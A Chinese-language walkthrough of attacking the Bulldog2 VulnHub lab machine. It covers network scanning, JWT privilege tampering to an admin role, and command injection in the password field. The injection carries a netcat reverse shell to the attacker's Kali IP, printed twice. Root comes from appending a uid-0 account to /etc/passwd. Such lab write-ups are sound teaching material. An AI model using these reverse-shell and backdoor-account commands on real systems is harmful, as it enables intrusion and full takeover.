一、靶机下载

靶机下载地址:https://download.vulnhub.com/bulldog/Bulldog2.ova

二、bulldog2靶机搭建

将刚刚下载完成的bulldog2.ova导入到VM VirtualBox,并且修改靶机的网络,注意红框,下面能用到

修改完打开就是这样的

三、kali攻击机

打开vmware中的虚拟网络编辑器,将kali网络类型配置成桥接模式,桥接至(不要自动,找到靶机的页面名称)

四、攻击

1.在kali上查看ip
ifconfig

发现攻击机ip地址为192.168.56.102

2.扫描靶机ip

因靶机是自动获取IP,与kali在同一个网段,用netdiscover -i eth0 -r 192.168.56.0/24扫描靶机的ip

netdiscover: -i 指定网卡 -r 指定网段


nmap扫描的话是可以扫描到本机ip的(nmap详细参数)

nmap -sn 192.168.56.0/24

3.扫描端口

根据上面主机发现得到的主机,然后依次对每个主机进行快速端口扫描,分析得到自己要攻击的目标主机

nmap -sS 192.168.56.101

或者

masscan --rate=10000 --ports 0-65535 192.168.56.101

masscan --rate=每秒多少个数据包 --ports 端口范围 IP地址/IP地址段

Masscan扫描速度快,快速发现开放的端口,为了防止漏扫,可以多扫描几次

将每个ip地址都扫描一下端口,可以确定靶机的ip地址:192.168.56.101
(虽然在靶机那里可以看到IP地址,但万一靶机在vmware中就看不到了)


可以看到80端口开着

4.扫描端口的详细信息

nmap -sV -T4 -O 192.168.56.101

5.目录扫描

尝试目录扫描,没发现有用信息

dirb http://192.168.56.101


6.访问80端口
浏览器访问http://192.168.10.155,发现发现登录界面

点击login

点击register,发现不支持注册,如果可以注册的话,我们就可以进行登录。

一般情况下,如果没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口

7.查看前端页面的代码


发现在前端有四个js文件,我们ctrl进入

对每个js文件进行审查

尝试在美化后的js文件中使用Register关键字进行搜索

可以发现注册所需的信息为四条,name、email、username、password,我们可以根据这四条信息进行模拟注册

8.使用burp suit抓包并进行注册


用刚刚注册成功的账户进行登录



再另外创建一个用户(111),用于测试

9.尝试水平越权


只要知道用户名,就可以直接登录到对方账户;说明存在水平越权漏洞,但是这几个账户都没有什么可以利用的信息;

10.再次登录抓包

返回包 带有一个JWT开头的token字段;这个token传递了什么信息呢;

JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;

11.JWT解密

https://jwt.io/

在payload中,我们看见详细的信息,其中有个没有见过的属性"auth_level": "standard_user",通过名字就应该知道是判断用户权限的,去js文件中查找一下


12.将响应里的standard_user替换成master_admin_user


之后点击forward,会看到响应内容


将编码进行替换,standard_user也要替换成master_admin_user

再次点击forward,然后就会看到网页多了admin,说明存在垂直越权漏洞


点击admin,输入用户名密码,抓包,观察


密码错误,页面还是返回200

13.在修改密码处添加反弹shell

在攻击端开启监听,发送数据包,这时攻击端便获得目标的shell了

反弹shell:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 1234 >/tmp/f

IP地址是kali的

返回kali


成功获取到shell后,就需要进行提权操作;

14.提权
查看所有可写的文件

find / -writable -type f 2>/dev/null |grep -v "/proc/"


添加一个新的具有root权限的账户;

输入命令:perl -le ‘print crypt(“pass”, “aa”)’

  • 其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数

  • char *crypt(const char *key, const char *salt);
    key就是我们要传入的明文,salt是我们指定用来加密的密钥,返回值就是加密后的密文。

  • perl 在linux中可以理解为增强版本的shell,是一种脚本语言,具有程序结构,很多内建功能,也方便调用其他程序
    -a 自动分隔模式,用空格分隔$并保存在@F中,也就是@F=split //, $
    -F 指定-a的分隔符
    -l 对输入的内容进行自动chomp,对输出的内容自动加换行符
    -n 相当于while(<>)
    -e 执行命令,也就是脚本
    -p 自动循环+输出,也就是while(<>){命令(脚本); print;}

将新用户写入passwd文件

echo 'ppp:aaW3cJZ7OSoQM:0:0:ppp:/root:/bin/bash' >> passwd

当前不是终端,无法切换账户,需要新打开一个终端,然后切换账户成功,获得管理员权限

python -c ‘import pty;pty.spawn("/bin/bash")’

五、总结

1.扫描ip,namp或者netdiscover

netdiscover -i eth0 -r 192.168.56.0/24
nmap -sn 192.168.56.0/24

2.扫描端口

masscan --rate=10000 --ports 0-65535 192.168.56.101
nmap -sS 192.168.56.101

3.扫描目录dirb

dirb http://192.168.56.101

4.如果目录没有问题,查看js,审查js代码

5.注册页面关闭,看看登录页面,观察一下url地址

6.水平越权,垂直越权

7.反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 1234> /tmp/f

8.查看可写目录,密码加密 , 创建用户并提权

find / -writable -type f 2>/dev/null |grep -v “/proc/”
perl -le ‘print crypt(“pass”, “aa”)’
echo ‘ppp:aaW3cJZ7OSoQM:0:0:ppp:/root:/bin/bash’ >> passwd

9.用命令打开终端切换用户

python -c ‘import pty;pty.spawn("/bin/bash")’ su

靶机渗透(一)——bulldog2相关推荐

  1. 【VulnHub靶机渗透】一:BullDog2

    在网上各位大佬WriteUp的帮助下,成功完成了第一次完整的靶机渗透测试(大佬NB!),现将详细过程及原理做简单整理. 文章目录 简介 渗透步骤 1.主机发现.端口扫描 2.Web扫描.漏洞发现 3. ...

  2. bulldog2 靶机渗透

    bulldog2 靶机渗透 1.先做主机发现 2.查看目标靶机开通的服务,发现目标靶机只开通了80端口 3.使用http服务登录主页 4.发现网站关闭了注册功能 5.发现用户遍历漏洞 6.查看下载好的 ...

  3. HA: SHERLOCK 靶机渗透取证

    HA: SHERLOCK 靶机渗透取证 靶机描述: DescriptionHA: Sherlock! This lab is based on the famous investigator's jo ...

  4. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  5. [HTB]“Heist”靶机渗透详细思路

    今天我们来看一下hackthebox里的一个靶机"Heist",直接开始渗透. 一.信息搜集 先打开网站看看.是一个登陆框,使用弱口令和注入都无果.在网页中发现了 login as ...

  6. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  7. 【渗透测试】靶机渗透Vulnhub-bulldog

    目录 前言 一.bulldog靶机安装 二.bulldog靶机渗透 1.信息搜集 2.Web渗透--后台登录 3.Web渗透--命令注入&nc反弹shell 4.权限提升 渗透步骤回顾 感悟 ...

  8. 靶机渗透【bulldog】

    文章目录 *一. bulldog靶机安装* 1. 下载bulldog 2. 开启bulldog *二. bulldog靶机渗透* 1. 信息收集 2. Web渗透 3. 命令注入&nc反弹sh ...

  9. Bulldog靶机渗透

    Bulldog靶机渗透 1. 获取地址IP,确定靶机IP是192.168.119.134 2.扫描目标主机信息 3.爆破目标主机目录 4.通过翻译得知这个网页是给承包商看的 5.查看网页的源码,查找有 ...

最新文章

  1. oracle awr windows,windows下的oracle 如何生成awr报告
  2. ld3320语音识别模块工作原理_风冷模块热泵机组的工作原理与施工安装教程
  3. oracle 容器切换,oracle12c 多租户管理四(容器连接切换)
  4. 用框架的你,可能早已忽略了这些事件API
  5. Essentials of Deep Learning: Visualizing Convolutional Neural Networks in Python
  6. C#LeetCode刷题之#88-合并两个有序数组(Merge Sorted Array)
  7. pytorch torchtext
  8. python控制台输出_替换Python中的控制台输出
  9. MacBook Pro(13 英寸,2011 年末)A1278 官方最高支持macOS High Sierra,使用macOS Catalina Patcher成功安装macOS Catalina
  10. 3.对于python的一个非正式导言 编译之三
  11. C++ 工厂模式 总结分析
  12. 同一网段两台电脑共享文件
  13. Word 批量添加 图片边框
  14. 南充十中高考2021成绩查询,2021年南充十中招办电话是多少?
  15. python类计算器开发_开发一个简单的python计算器
  16. Monte Carlo方法的基本思路
  17. 微信小程序基础学习(4):自定义组件
  18. Ceph万字总结|如何改善存储性能以及提升存储稳定性
  19. 云课堂计算机测试答案,2020智慧职教云课堂计算机应用基础答案最新最全章节测试答案...
  20. √C语言超星作业题--数组之删除重复元素

热门文章

  1. c++ 运行出现0x0000007 错误解决总结
  2. 一分钟看懂深度学习中的准确率(Accuracy)、精度(Precision)、召回率(Recall)和 mAP
  3. 流量统计html代码,CNZZ数据专家
  4. 改Android app字体,Android 开发之修改 app 的字体大小
  5. 微信h5页面制作总结
  6. 7-7 sdust-Java-字符串集合求并集 (10分)
  7. 计算机什么是符号健,键盘数字健1-8的标点符号的名称什么
  8. 跨考计算机408的学习心得技巧分享
  9. iCloud云上贵州,2018数博会连接2亿多用户
  10. PostgreSQL regress test